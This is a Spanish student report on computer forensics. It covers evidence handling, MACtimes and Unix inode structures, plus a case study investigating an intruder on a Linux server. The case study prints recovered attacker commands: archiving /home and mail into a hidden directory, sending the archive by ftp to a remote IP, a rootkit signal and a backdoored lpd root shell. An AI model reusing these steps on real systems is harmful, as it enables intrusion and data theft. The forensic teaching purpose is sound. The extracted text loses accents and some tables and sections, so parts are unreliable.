Alumnos:
Acosta Gonzalo (81885) Altieri Andrs (81385) Rodriguez Gabriel (81503) Rossi Eduardo (81559)
Docentes:
ndice.
1. Introduccin.................................................................................4
1.1. 1.2. 1.3. 1.4. 1.4.1. 1.4.2. 1.4.3. 1.4.4. Informtica Forense .......................................................................................5 Principios forenses..........................................................................................6 Evidencia Digital.............................................................................................6 Metodologa de Trabajo para el anlisis de los datos..................................7 La identificacin de la evidencia digital ...................................................8 La extraccin y preservacin del material informtico..........................9 El anlisis de datos ...................................................................................10 La presentacin del dictamen pericial....................................................11
2.
3.
Grupo 3
1 Cuatrimestre - 2007
Logs del sistema........................................................................................33 Cuentas de usuario...................................................................................33 Histrico de los usuarios..........................................................................33 Duplicacin Forense .....................................................................................35 DD..............................................................................................................35 DD Rescue.................................................................................................35 DDFLDD ...................................................................................................36 Conclusiones .................................................................................................36
4.
Anexo ..........................................................................................38
4.1. 4.2. Fragmentos de Informes Periciales. Ejemplos...........................................38 Herramientas para el Anlisis Forense. .....................................................39
5.
Bibliografa ................................................................................41
1. Introduccin.
El anlisis forense de un sistema involucra primeramente la recopilacin de informacin dispersa en todo el sistema y posteriormente un anlisis de la misma; mientras ms completa y precisa resulte dicha informacin, ms verdico ser el anlisis realizado. La adecuada conservacin de la informacin del sistema original cumple un rol fundamental en la investigacin, de modo que el procesamiento de la misma debera llevarse a cabo sobre una copia de los datos del sistema original. Disponer de una copia exacta de todo el sistema es el objetivo ideal de la recopilacin, pero esto es en s imposible dado que en el proceso de recoleccin otros usuarios o programas pueden disparar cambios en el sistema, destruyendo parte de la evidencia. An ms, la perdida de la informacin podra ser causada por una trampa dejada por algn intruso o persona mal intencionada, o simplemente por cualquier programa que se ejecute. Por este motivo las tcnicas forenses tradicionales se han centrado en apagar los sistemas y realizar un anlisis sobre la informacin que persista: logs de programas, tiempos de acceso, contenidos de archivos, etc. Esto facilita la captura de la informacin y el establecimiento de una lnea de tiempo irrefutable. Deben tomarse numerosas precauciones y cuidados en caso de tomar informacin de un sistema en funcionamiento. En general, el sistema debe aislarse y deben recuperarse los datos siguiendo su orden de volatilidad (OOV), es decir, de acuerdo a su expectativa de vida media dentro del equipo. Respetar este orden aumenta las probabilidades de salvar los datos ms efmeros (en caso de que sean los que nos interesan). Con respecto a esto debemos mencionar que no es posible registrar todos los cambios que ocurren en procesos o archivos en tiempo real, pues al tomar datos de un sector se modifican en otro (algo similar a un principio de incertumbre). Otro aspecto fundamental a la hora de realizar un anlisis es determinar la confiabilidad de la informacin. Cualquiera de los distintos sectores de un sistema podra ser modificado para reflejar datos falsos; en general, cuantas ms fuentes haya y cuanto ms independientes sean, ms certeza habr respecto de la veracidad de las mismas. Cuando nos referimos a fuentes de informacin queremos indicar cualquier elemento que pueda aportar elementos para la reconstruccin de un suceso en un sistema, ya sean logs de red, entradas en el journal, MACtimes de archivos, dumps de memoria, etc. La destruccin de la informacin dentro de un sistema es algo complicado; por ejemplo, la informacin contenido en un archivo borrado persiste hasta que sea sobrescrita por uno nuevo. En sistemas de archivos con un clustering eficiente los datos pueden persistir por aos, aunque ms no sea parcialmente. A medida que aumenta el grado de abstraccin de las capas del sistema, encontramos ms informacin remanente, aunque su significado est ms oculto, es ms ambiguo. Haciendo una analoga con el mundo real pueden clasificarse los procesos que ocurren en un ordenador en dos grupos. Por un lado identificamos procesos de tipo arqueolgico, que son el resultado de la accin directa de un ser humano sobre la computadora; por ejemplo, el contenido de
Grupo 3
1 Cuatrimestre - 2007
archivos, registros de acceso, registros de trfico de red. Por otro lado, al hacer referencia a los procesos geolgicos nos referimos a los procesos autnomos del sistema, aquellos sobre los que los humanos no tiene control alguno, como la asignacin y el reciclado de bloques de memoria, la asignacin de ID para archivos o procesos. Los procesos de tipo geolgico destruyen las evidencias arqueolgicas que quedan en el sistema, es decir, los procesos autnomos sobrescriben los datos que pueden haber quedado almacenados por el accionar de una persona.1
1.1.
Informtica Forense
Las tcnicas forenses son aquellas que surgen de una investigacin metdica para reconstruir una secuencia de eventos. Las tcnicas de forense digital son el arte de recrear que ha pasado en un dispositivo digital. Existen dos aspectos principales sobre los cuales trabajar:
Lo que hace un usuario en su equipo, Recuperacin de archivos eliminados Desencriptacin elemental Bsqueda de cierto tipo de archivos Bsqueda de ciertas frases Observacin de reas interesantes del computador
Lo que hace un usuario remoto en otro equipo, Leer archivos de registro Reconstruir acciones Rastrear el origen Anlisis de conexiones desde o hacia el host
La informtica forense hace entonces su aparicin como una disciplina auxiliar de la justicia moderna, para enfrentar los desafos y tcnicas de los intrusos informticos, as como garante de la verdad alrededor de la evidencia digital que se pudiese aportar en un proceso legal.
Grupo 3
1 Cuatrimestre - 2007
1.2.
Principios forenses
Existen un gran nmero de principios bsicos que son necesarios independientemente de si se est examinando un ordenador o un cadver. Estos principios son: Evitar la contaminacin: La esterilidad de los medios es una condicin fundamental para el inicio de cualquier procedimiento forense en informtica, pues al igual que en la medicina forense, un instrumental contaminado puede ser causa de una interpretacin o anlisis errneo de las causas de la muerte del paciente. Actuar metdicamente: El investigador debe ser el custodio de su propio proceso, por tanto cada uno de los pasos realizados, las herramientas utilizadas (sus versiones, licencias y limitaciones), los resultados obtenidos del anlisis de los datos, deben estar claramente documentados, de tal manera, que cualquier persona externa pueda validar y revisar los mismos. Ante una confrontacin sobre la idoneidad del proceso, el tener documentado y validado cada uno de sus procesos ofrece una importante tranquilidad al investigador, pues siendo rigurosos en la aplicacin del mtodo cientfico es posible que un tercero reproduzca sus resultados utilizando la misma evidencia. Controlar la cadena de evidencia, es decir, conocer quien, cuando y donde ha manipulado la evidencia: Este punto es complemento del anterior. La custodia de todos los elementos allegados al caso y en poder del investigador, debe responder a una diligencia y formalidad especial es para documentar cada uno de los eventos que se han realizado con la evidencia en su poder. Quin la entreg, cundo, en qu estado, cmo se ha transportado, quin ha tenido acceso a ella, cmo se ha efectuado su custodia, entre otras, son las preguntas que deben estar claramente resueltas para poder dar cuenta de la adecuada administracin de las pruebas a su cargo. Por evidencia entendemos toda informacin que podamos procesar en un anlisis.
1.3.
Evidencia Digital
La evidencia digital puede definirse como "cualquier informacin, que sujeta a una intervencin humana u otra semejante, ha sido extrada de un medio informtico". En este sentido, la evidencia digital, es un trmino utilizado de manera amplia para describir cualquier registro generado por o almacenado en un sistema computacional que puede ser utilizado como evidencia en un proceso legal. La evidencia digital posee, entre otros, los siguientes elementos que la hacen un constante desafo para aquellos que la identifican y analizan en la bsqueda de la verdad: a. b. Voltil Annima
Grupo 3
1 Cuatrimestre - 2007
c. d. e.
Algunos ejemplos de evidencia digital podran ser: El ltimo acceso a un fichero o aplicacin (unidad de tiempo) Un Log en un fichero Una cookie en un disco duro El up-time de un sistema (tiempo encendido) Un proceso en ejecucin Archivos temporales
La
recomendacin
RFC-3227
(http://www.faqs.org/rfcs/rfc3227.html)
provee
los
1.4.
datos
En la actualidad existen varias metodologas de trabajo para la realizacin de anlisis de datos. Se presenta a continuacin un modelo a seguir, elegido por la practicidad y eficiencia que ofrece dicho enfoque metodolgico2.
Grupo 3
1 Cuatrimestre - 2007
Grupo 3
1 Cuatrimestre - 2007
Grupo 3
1 Cuatrimestre - 2007
aunque por principio general se debe trabajar sobre imgenes de la evidencia original, slo el perito podr determinar cuando debe o no aplicarse este tipo de medida. En muchos casos resulta impracticable realizar copias de la evidencia original por impedimentos tcnicos u otras razones de tiempo y lugar. En estos casos se debern extremar las precauciones durante la investigacin, siempre aplicando tcnicas de anlisis de datos no-invasivas y utilizando todas las herramientas forenses que estn al alcance, a fin de no alterar la evidencia.
10
Grupo 3
1 Cuatrimestre - 2007
espacios llamados clusters. Los atributos de mayor inters para el investigador forense son: el nombre del archivo, MAC Times (fecha y hora de la ltima Modificacin, Acceso o Cambio de un archivo) y los datos (si el archivo es suficientemente pequeo) o la ubicacin de los datos en el disco. Asimismo, el archivo utilizado como memoria virtual del sistema operativo (Swap file), el espacio libre que puede quedar entre un archivo y el cluster en el cual reside (Slack space), la papelera de reciclaje (Recycle bin), clusters que contienen parte que los archivos borrados (Unallocatable space), los accesos directos, los archivos temporarios y los de Internet, son algunos de los elementos sobre los que se realiza habitualmente el anlisis de datos. Por otro lado, un examen del registro de Windows permite conocer el hardware y software instalado en un determinado equipo. El anlisis sobre sistemas Unix es similar al de Windows, ya que se investiga sobre los elementos citados precedentemente. Unix utiliza el concepto de nodos ndices (i-node) para representar archivos. Cada i-node contiene punteros a los datos en el disco, as como tambin los atributos del archivo. Los datos se escriben en unidades llamadas bloques (blocks) siendo un concepto anlogo a los clusters de Windows. En Unix todo es tratado como un archivo, y puede estar almacenado en formato binario o texto.
11
Grupo 3
1 Cuatrimestre - 2007
travs de la Polica Federal, Provincial o de Gendarmera Nacional 4 . En los ltimos aos, la complejidad de la materia ha requerido que las pericias informticas sean tratadas interdisciplinariamente. Por otra parte, cabe recordar que en nuestra legislacin el valor probatorio de la evidencia digital ha tenido hasta la fecha escasa o casi nula recepcin legislativa y se cuenta con pocos antecedentes jurisprudenciales. Es sabido que el documento electrnico para la ley vigente argentina, constituye tan slo principio de prueba por escrito", lo que genera numerosos inconvenientes a la hora de determinar la eficacia probatoria de los elementos informticos y su interpretacin a travs de los dictmenes periciales. Teniendo en cuenta que nuestra ley penal data de 1921, es claro que la misma no pueda receptar con facilidad los adelantos tecnolgicos, dando lugar a situaciones de duda. La eficacia probatoria de los dictmenes informticos radica fundamentalmente en la continuidad del aseguramiento de la prueba desde el momento de su secuestro. Realizado ello en debida forma es poco probable que, si la investigacin preliminar se dirigi correctamente, el material peritado no arroje elementos contundentes para la prueba del delito. Expuesta la situacin actual en materia de pericias informticas, interesa conocer cmo debe realizarse un dictamen pericial sobre anlisis de datos, de manera tal que sea objetivo, preciso y contenga suficientes elementos para repetir el proceso en caso de ser necesario. La estructura bsica de cualquier informe atendera al siguiente esquema: Antecedentes (Solicitante, encargo profesional o tipo de trabajo. Situacin. Redactor) Documentos facilitados, recopilados y examinados (Proyectos, expedientes
administrativos, contratos, escrituras, datos registrales, etc.) Inspecciones realizadas (Pruebas requeridas en funcin del material a analizar y del tipo de dao a valorar). Metodologa del informe (Se expondrn los criterios que se han seguido para su elaboracin). Dictamen (Por ultimo, deber completarse junto con el apartado de conclusiones, que recoger de modo resumido los aspectos ms determinantes del trabajo). Anexos (Este apartado estar compuesto por los diferentes documentos obtenidos en las investigaciones: fotografas, resultados de los anlisis, documentacin relevante como prueba, normativa infringida, etc.).
En el anexo I se exponen algunas consideraciones esenciales, ilustradas con fragmentos extrados de casos reales de trabajos periciales que han requerido realizar anlisis de datos.
12
Grupo 3
1 Cuatrimestre - 2007
13
Grupo 3
1 Cuatrimestre - 2007
2.1.
Registros temporales
En esta seccin comentaremos diversas fuentes de informacin disponibles en un sistema que permiten reconstruir una lnea de tiempo de sucesos ocurridos. En general eventos individuales pueden no tener un significado o importancia en forma aislada, pero considerados en secuencia puede situarlos en un contexto propicio para que cobren sentido. En esta seccin nos referiremos especficamente a tres fuentes de informacin temporal: MACtimes, registros de red y DNS servers, y MACtimes del file system.
MACtimes
2.1.1. MACtimes
Constituyen uno de los recursos ms simples de entender y emplear en una investigacin. MACtimes es una forma abreviada de referirse a tres atributos de tiempo que poseen los archivos en sistemas de archivos UNIX, Windows y otros: Mtime: se refiere a la ltima vez que el contenido de un archivo fue modificado. Atime: se refiere a la ltima vez que un archivo o directorio fue accedido.
14
Grupo 3
1 Cuatrimestre - 2007
Ctime: se refiere a la ltima vez que se modific el metacontenido del archivo (dueo, grupo, permisos, etc.). Ctime tambin puede usarse como un estimativo de cundo un archivo fue borrado.
Una de las limitaciones fundamentales es que se refieren solamente a la ltima vez que se que se interactu con cierto archivo; es prcticamente imposible recuperar los MACtimes antiguos. Existen distintas herramientas para conocer los MACtimes; algunas de ellas como el comando ls vienen con el sistema operativo, y otras como el comando mactime del Coroners Toolkit son especficamente diseadas para esa tarea. Debe tenerse especial cuidado de no modificar los MACtimes de los archivos de un sistema comprometido mientras intenta salvaguardarse la informacin. Por ejemplo, acceder a un directorio modifica su atime, copiar o leer un archivo tambin lo hace. Hacer un backup de la informacin antes de relevar los MACtimes lleva a que todos los MACs se actualicen y se pierda informacin valiosa. Entre las limitaciones principales que podemos mencionar de los MACtimes mencionaremos: Son relativamente simples de perder si no se toman las precauciones necesarias. No puede verse la historia previa de los archivos, slo la ltima vez que se modific algn aspecto del mismo. No puede verse quien realiz la accin, solamente el resultado. En sistemas multiusuario es difcil separar la actividad del intruso de la de los usuarios. A veces la accin del intruso es similar a la de los usuarios y no puede distinguirse con MACtimes. Pueden falsearse: por ejemplo en UNIX el comando touch permite modificar los atimes y mtimes de los archivos.
15
Grupo 3
1 Cuatrimestre - 2007
MACtimes
Limitaciones
Fcilmente perdibles
Fcilmente falseables
En Linux, Solaris u OpenBSD el comando ls permite averiguar MACtimes de archivos. Tambin podran emplearse los comandos stat o el comando mactime perteneciente al Coroners Toolkit. A continuacin indicamos algunos ejemplos:
Sintaxis bsica ls l fil ena me ls - lu fil enam e ls - l c f il ename st at fi l ena me ma cti me d directorio fecha1fecha2
El comando mactime es el ms cmodo cuando se trata de varios archivos y el comando stat el ms cmodo cuando se trata de uno solo.
16
Grupo 3
1 Cuatrimestre - 2007
En la siguiente tabla se presenta a modo de ejemplo, cmo un la ejecucin de comandos habituales puede afectar los MACtimes de archivos o directorios5:
Directorios Accin Crear (mkdir foo) Mover (mv foo bar) Crear archivos (touch /foo/foo) Listar (ls foo) Cambiar de directorio (cd foo) Cambio de permisos (chmod/chown <perm> foo) Copia (mv foo_mvd foo) Edicin de archivos (vim/emacs foo) Archivos Accin Crear (touch foo) Renombrar (mv foo bar) Cambio de permisos (chmod <perm> foo) Copia (cp foo bar) Copia con sobrescritura (cp foo bar) Agregar (cat >>foo) Sobrescribir (cat>foo) Listar (ls foo) Editar (vim/emacs foo)
Mtime x x x
Atime x
Ctime x x x
x x x x Atime x Ctime x x x x x x x x x x x x
x x Mtime x
Tabla 2.2. Ejemplos de cambio de MACtimes por operaciones sobre archivos y directorios.
Extrado de http://www.securityfocus.com/infocus/1738.
17
Grupo 3
1 Cuatrimestre - 2007
El daemon DNS standard de UNIX que se llama Bind, conserva un cache en memoria donde se almacenan las bsquedas recientes. Si bien no guarda el momento exacto en que realiz cada bsqueda, s conserva el tiempo que resta para que se descarte dicha entrada del cache (TTL, time to live). Conociendo el tiempo inicial de los archivos al ingresar al cache se podra conocer aproximadamente en que momento se hizo la bsqueda (asumiendo que en el medio no haya cambiado el TTL).
18
Grupo 3
1 Cuatrimestre - 2007
2.2.
Existen numerosos file system en UNIX, casi todos basados en el Fast File System (FFS) diseado en 1974 por Ritchie y Thompson. Todos los directorios estn organizados en un rbol de directorios y dependen de un directorio principal. Las hojas o nodos del rbol estn separados por / y tienen nombres como /home/user. No existen nombre de unidades (C:/) o hostnames; aun perifricos como impresoras, memoria, y los mismos discos son accedidos como archivos del file system. Un mismo disco puede contener varios file system distintos y el rbol de directorios puede construirse con mltiples particiones de un disco. Para hacer que un archivo en un disco est disponible debe ser montado en algn directorio del file system mediante, por ejemplo, los comandos mount/umount. Una manera de ocultar informacin es la de montar dos file system en un mismo punto, uno encima del otro; esto hace que el primero en montarse no pueda ser accedido mediante los comandos habituales para tal fin (por ejemplo, cd). Esto se debe a que dichos comandos interrogan al sistema operativo acerca de los directorios montados en cierto punto, y ste ltimo devuelve la informacin del ltimo montado y no reconoce al primero. Para poder acceder al otro file system ese necesario emplear herramientas que dupliquen parte de su funcionalidad y permitan acceder a la informacin por via directa. Otra forma de ocultar informacin consiste en no montar un file system en ningn punto. En Linux puede conocerse qu File System se encuentran montados tipeando df en la lnea de comando. Adems, ingresando: f d i sk l dispositivo pueden visualizarse las particiones que hay en el dispositivo.
19
Grupo 3
1 Cuatrimestre - 2007
Kernel
Ext3fs
DOSfs
Ext2fs
Buffer
Figura 2.4. Estructura de File System Virtual para el acceso a disco en Linux.
POSIX es un acrnimo de Portable Operating System Inteface; la X proviene de UNIX. Es una familia de standards de llamadas al sistema operativo (system calls) definidos por la IEEE y especificados en el IEEE 1003. Permiten generalizar las interfaces de los sistemas operativos para que una misma aplicacin pueda ejecutarse en distintas plataformas.
20
Grupo 3
1 Cuatrimestre - 2007
chgrp. Lo mismo ocurre con los dispositivos fsicos como memoria, impresoras, etc. que constituyen los llamados Device Files. La siguiente figura resume los tipos de archivos ms habituales que pueden encontrarse:
Directorios Tambin son archivos pero deben modificarse a travs de primitivas (no directamente)
IPC Endpoints Dentro del file system, comunican dos procesos de una misma mquina.
Character devices Permiten el acceso por bytes a un dispositivo. En general no tienen buffer en el kernel pero pueden. Ejemplo: memoria, impresoras,
Block devices Acceden a los datos por medio de la estructura de bloques que use el medio fsico. Usan buffering en el kernel. Algunos tambin tiene interfaz Character.
21
Grupo 3
1 Cuatrimestre - 2007
Directorio /home/pepe
Archivo Inodo
123 459
Inodo 123
dueo/ID de grupo permisos tipo de archivo Referencia a datos otros...
Bloques de datos
datos datos datos
El I-nodo correspondiente a un archivo contiene una gran cantidad de informacin referente al mismo. La siguiente Figura resume algunos de los ms importantes:
Tamao en bytes. Indica donde termina el archivo (no hay caracteres de terminacin).
Permisos. Los bits rwx asociados al dueo, usuarios y otros, as como set-uid, set-gid y sticky bit.
MACtimes. Ext3fs adems tiene un Deletion time que indica cuando fue borrado un archivo.
En Linux puede usarse el comando stat para leer el contenido de un inodo asociado a un archivo. El Coroners Toolkit incluye las herramientas ils e icat que permiten leer el contenido de nodos y leer los bloques de datos a los que hace referencia un nodo, respectivamente. Algunos ejemplos de empleo de estos comandos son los siguientes:
22
Grupo 3
1 Cuatrimestre - 2007
Los tres comandos leen directamente los Inodos por lo cual algunas tcnicas para ocultar informacin pueden no funcionar. Por ejemplo, para salvar el journal de un File System podramos hacer lo siguiente:
Funcin Conocer el inodo del journal Enva el contenido del journal a un archivo7
El direccionamiento a la posicin en el disco donde se encuentran los datos propiamente dichos se realiza por medio de una estructura de bloques direccionamiento indirecto. Los primeros 12 bloques de datos que ocupa un archivo se direccional en forma directa. Si un archivo referenciado por un inodo ocupa ms de 12 bloques de datos, la direccin del bloque nmero 13 apunta a un sector del disco especficamente asignado para almacenar direcciones de bloques de datos. Este sector se llama Bloque de Direccionamiento Indirecto Simple (singly indirect block). Cuando se llena, el registro 14 del inodo apunta a otro bloque de direcciones que se llama Bloque de direccionamiento indirecto doble (doulby indirect block) que a su vez apunta a bloques de direccionamiento indirecto simple. Los file system UNIX soportan hasta 3 niveles de direccionamiento indirecto.
7 El contenido debe enviarse a otro file system para evitar que el journal se destruya a si mismo con su propio contenido.
23
Grupo 3
1 Cuatrimestre - 2007
Punteros de un Inodo
Bloques de datos
1 2 ... 12 13 14 15
1 2 ...
Direccionamiento simple ...
12 13 ... 1036
1037
...
... 2060
... ...
... ...
2061 ...
...
Figura 2.8. Estructura de direccionamiento de datos dentro de un Inodo.
Etiqueta
Particin
Particin
Particin
Grupo de bloques 0
...
Grupo de bloques N
super block
Descriptor de grupo
bitmap de bloques
bitmap de inodos
Tabla de inodos
Datos
24
Grupo 3
1 Cuatrimestre - 2007
El superbloque identifica el file system y contiene sus parmetros principales (bloques libres, inodos libres, tamaos de bloques, etc.). Cada zona posee su propia copia del superbloque en forma redundante. En algunos casos la redundancia puede ser til para recuperar file system daados. Los atributos del grupo se encuentran en el Descriptor de grupo, y los Bitmaps de bloques indican el estado de uso de cada uno de los bloques del grupo. El estado de cada uno de los inodos se encuentra almacenado en el bitmap de inodos, que funciona del mismo modo que el bitmap de bloques. La tabla de inodos referencia los nombres de archivos con los nmeros de inodos y contiene asimismo los inodos. La estructura de grupos de bloques provee una gran robustez y confiabilidad pues las estructuras de control del sistema estn replicadas en cada grupo de bloques lo que permite recuperarse en forma rpida si el superbloque se corrompe. Esta estructura tambin permite obtener una buena performance pues al reducir la distancia entre la tabla de inodos y los bloques de datos es posible reducir el movimiento del cabezal del disco en lecturas y escrituras.
25
3.1.
La recoleccin de informacin forense en un sistema debe realizarse siguiendo el orden de volatilidad (OOV), tal como se estableci al comienzo de este trabajo. Por tal motivo, comenzaremos este anlisis por la recoleccin de la informacin voltil. Por informacin voltil entendemos la informacin que se perdera al apagar el equipo, tales como: 3.1.1. 3.1.2. 3.1.3. 3.1.4. 3.1.5. 3.1.6. Fecha y hora del sistema Conexiones activas, puertos abiertos Procesos, y archivos y puertos a los que estn accediendo Tablas de ruteo Mdulos del kernel cargados en memoria Filesystems montados
Para registrar la salida de todos los comandos ejecutados, transferiremos la salida de los mismos del equipo investigado hacia el equipo de trabajo, utilizando la utilidad netcat. Para ello antes de la ejecucin de cada comando, en el equipo de trabajo debemos ejecutar: nc v l p 10000 > comando.txt Este comando abre el puerto 10000 en el equipo de trabajo, y queda en modo Listen esperando conexiones. A su vez, el modificador v informa sobre el desarrollo de la conexin. Luego, en el equipo investigado se debe ejecutar cada comando redirigiendo su salida al puerto abierto en el equipo de trabajo: comando | nc IP_equipo_de_trabajo 10000
Grupo 3
1 Cuatrimestre - 2007
De esta forma, la salida del comando ser redirigida hacia el equipo de trabajo, almacenndose en el archivo comando.txt. Una vez completado el comando debe interrumpirse el comando nc en el equipo de trabajo. Hecho esto, es recomendable computar inmediatamente un hash MD5 o SHA-1 del archivo comando.txt, para eventualmente probar la inalterabilidad del mismo.
Las tres direcciones remotas involucradas estn fuera de la empresa, y no son conexiones utilizadas habitualmente en el equipo investigado. La primer lnea muestra una conexin desde esa IP sospechosa hacia el puerto de ssh del equipo investigado. La segunda lnea muestra una conexin al puerto 3879 del equipo investigado. Finalmente, la tercer lnea muestra una conexin al puerto 515 del equipo investigado. Al ser un puerto menor a 1024, es lo que se conoce como Well Known Port. Los Well Known Port son puertos cuyo uso est estandarizado por la IANA (Internet Assigned Numbers Authority), por lo que tienen asignadas una funcin especfica. En el caso del puerto 515, el mismo se corresponde con el servicio de impresin por red. Este puerto suele estar en modo Listen
27
Grupo 3
1 Cuatrimestre - 2007
con el proceso lpd escuchando, pero en este caso tuvo una conexin activa desde la IP sospechosa. Esto lleva a pensar en alguna vulnerabilidad existente en dicho proceso y puerto. Es fundamental en la ejecucin de un anlisis forense las consultas a organismos y entidades relacionadas con la seguridad informtica. En este caso una consulta permiti determinar que precisamente la versin de lpd existente en el equipo investigado presentaba una vulnerabilidad tal que permita a un usuario remoto obtener control del sistema como superusuario. Por otro lado, es sospechoso tambin que los puertos 2323 y 3879 se encuentran en estado Listen, es decir, abiertos y esperando conexiones. Estos puertos no eran utilizados normalmente por ningn proceso dentro de la empresa, por lo cual deben ser investigados.
Command Sh Sh Sh Sh Sh Sh Sh
Name /tmp/.kde 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED) 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED) /dev/null 102.60.21.3:printer -> 94.90.84.93:1761 (CLOSED) *:3879 (LISTEN) 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED)
El comando mostrado es sh, es decir, un shell de usuario, que permite ingresar comandos al sistema operativo. Notamos en la cuarta lnea que la salida de errores del mismo est redirigida hacia /dev/null, de forma tal de que los mismos no se escriban en la consola del equipo, sino que se desechen. La primera lnea muestra que el directorio de trabajo de este proceso es un directorio oculto (.kde) dentro del directorio /tmp. Este comportamiento no es usual, ya que en general el directorio de trabajo de un shell es el correspondiente al directorio home del usuario. Mucho ms llamativo es el hecho de que el directorio de trabajo sea oculto. En la segunda, tercera y sptima lnea notamos
28
Grupo 3
1 Cuatrimestre - 2007
establecida la conexin que ya antes habamos detectado con el comando netstat. En la quinta lnea vemos que el puerto printer tuvo una conexin activa con la IP sospechosa. Esto ya lo habamos detectado con el comando netstat, pero ahora pudimos establecer la asociacin con el comando sh. Esto no debiera ser as, ya que en este puerto las conexiones debieran realizarse con el proceso lpd, como se mencionara anteriormente. Es decir, un usuario se conect al puerto 515 del equipo investigado, y estableci un shell donde ejecutar comandos en el mismo. En la misma salida de lsof n se obtuvo la siguiente informacin:
Command Sh
PID 5278
User root
Type DIR
Node 4096
Tabla 3.3. Salida lsof -n.
Name /tmp/.kde/brute/john-1.6/run
Al observar esta lnea vemos que el proceso 5278 se est ejecutando en el directorio /tmp/.kde/brute/john-1.6/run. Esta informacin puede ser considerada como evidencia que el usuario root est corriendo la versin 1.6 de un programa conocido como John The Ripper. Este programa es un conocido cracker de claves por fuerza bruta. En este punto podemos estar bastante seguros que un atacante desde la IP 94.90.84.93 est usando este programa para obtener la clave de algn usuario. Finalmente, para listar todos los procesos activos en el equipo, usamos el comando ps aux. Este comando lista todos los procesos y los usuarios con los que se estn ejecutando. Al correr este comando no se observ ningn proceso particularmente sospechoso, sin siquiera poder observarse el cracker de claves antes mencionado. Tambin podemos notar que no se observaron rastros del puerto TCP:1023 en la salida del comando lsof. Estos dos indicios pueden llevar a pensar que el kernel del sistema operativo fue modificado en tiempo de ejecucin para ocultar convenientemente procesos y archivos pertenecientes al atacante. Al duplicar posteriormente el disco del equipo investigado, se podr determinar esta suposicin.
29
Grupo 3
1 Cuatrimestre - 2007
3.2.
La informacin no voltil puede luego recuperarse desde una copia forense del disco. Sin embargo, se resuelve recolectar algo de esta informacin antes de apagar el equipo investigado. Esta informacin incluye: 3.2.1. 3.2.2. 3.2.3. 3.2.4. 3.2.5. 3.2.6. Versin del Sistema Operativo y nivel de parches MAC times y hash del filesystem Usuarios conectados actualmente, e histricos Logs del sistema Cuentas de usuario Histrico de los usuarios
30
Grupo 3
1 Cuatrimestre - 2007
755
9/08/03
16:22
9/08/03
16:05
9/08/03
16:05
A partir de esta informacin es posible determinar a partir de la fecha de cambio, que el atacante instal un mdulo de Perl. Perl es un lenguaje de scripting y programacin, por lo que es posible que el mdulo instalado fuera una dependencia de las utilidades que el atacante instal en el equipo investigado. Tambin es posible determinar que los archivos /etc/passwd y /etc/shadow fueron modificados en la misma fecha sospechosa. Observamos dos veces el archivo /usr/sbin/lpd. Debemos notar que no est duplicado, sino que la versin creada en la fecha sospechosa tiene por nombre /usr/sbin/lpd , es decir, cuenta con un espacio al final. Debemos notar que no hay rastros del directorio de trabajo antes determinado, /tmp/.kde. Esto es otro indicio que un mdulo fue cargado en el kernel en tiempo de ejecucin, para ocultar el accionar del atacante. Por otro lado, se debe computar un hash de cada uno de los archivos del sistema, a fin de poder probar su autenticidad posteriormente. Para ello, utilizamos el comando: find / -type f xdev exec md5sum b {} \; Esto procesa todos los archivos del sistema, produciendo como salida el hash MD5 de cada uno. Debiera actualmente utilizarse un mtodo de hash ms actualizado.
31
Grupo 3
1 Cuatrimestre - 2007
Puede utilizarse alguna base de datos de hash conocidos de archivos del sistema, a fin de descartar los que no han sido modificados.
FROM 94.90.84.93
Notamos que el usuario lpd se encuentra conectado, y desde una IP desconocida para la empresa. Este usuario no es un usuario normal del sistema, asi que podemos sospechar que el atacante est conectado desde esa IP. Por otro lado, el historial de conexiones de usuarios al equipo, puede obtenerse con el comando last. A partir del mismo, se obtuvo la siguiente informacin:
TTY pts/1 pts/0 pts/0 pts/0 pts/3 pts/0 pts/2 system boot
DATE Mon Sep 8 16:36 16:37 Mon Sep 8 16:34 16:37 Mon Sep 8 16:22 16:33 Mon Sep 8 16:21 16:21 Mon Sep 8 16:18 16:19 Mon Sep 8 16:10 16:21 Mon Sep 8 15:00 still logged in Mon Sep 8 13:37
Luego del reinicio del equipo, vemos una conexin del usuario lpd desde la IP que consideramos sospechosa, sin que an se hubiera desconectado. Por otro lado, vemos conexiones del usuario richard desde una IP propia de la empresa, dentro de la actividad normal del mismo. Sin embargo, tambin vemos conexiones del usuario richard desde el mismo equipo investigado. Esto puede ser un indicio de la utilizacin de algn programa para redireccionar puertos, instalado por el atacante, tal vez para evitar un firewall en el equipo.
32
Grupo 3
1 Cuatrimestre - 2007
Tanto los usuarios conectados, como el historial de conexiones de los mismos se pueden obtener de los archivos /var/run/utmp y /var/run/wtmp respectivamente.
33
Grupo 3
1 Cuatrimestre - 2007
Sin embargo, en este caso se supone que el atacante utiliz el usuario richard para introducirse en el equipo. Chequeando el arhivo .bash_history del usuario richard, encontramos los siguientes comandos sospechosos:
Comando netstat na | less ps aexww | grep datapipe ls al kill -31 5883 Ps aexww | grep 5883 w /usr/sbin/lpd /usr/sbin/lpd /bin/bash ls al exit tar cvzf /tmp/.kde/files.tar.gz /home /var/mail tar cvzf /tmp/.kde/files.tar.gz /home /var/spool/mail ftp 94.20.1.9 ping 94.20.1.9 ping 94.20.1.9 ftp 94.20.1.9 ls /usr/sbin/lpd /bin/bash w
Tabla 3.7. Historial de comandos del usuario richard .
Las lneas resaltadas indicant comandos que el usuario Richard no pudo reconocer. El primero comando busca un proceso de nombre datapipe. Segn se coment, en los usuarios conectados al equipo, apareca Richard conectado desde el propio equipo investigado. Datapipe es un programa utilizado para redireccionar puertos del equipo a otros puertos, con el objeto de evitar firewalls u otras medidas de seguridad. Luego el atacante enva la seal 31 a un proceso. Esta seal no est definida en Linux, y es generalmete usada en distintos rootkits para el kernel. Es muy posible que el atacante haya modificado el kernel con un rootkit para ocultar sus pasos. El atacante luego ejecuta uno de los archivos que se haba notado antes. Es muy posible que el comando /usr/sbin/lpd /bin/bash sea utilizado para lanzar un shell con permisos de root. Finalmente, el atacante comprime y archiva los directorios /home y /var/spool/mail, y luego los enva a una direccin remota. Este aspecto es el ms importante de la investigacin, ya que se pudo determinar la existencia de una importante fuga de informacin de la empresa.
34
Grupo 3
1 Cuatrimestre - 2007
3.3.
Duplicacin Forense
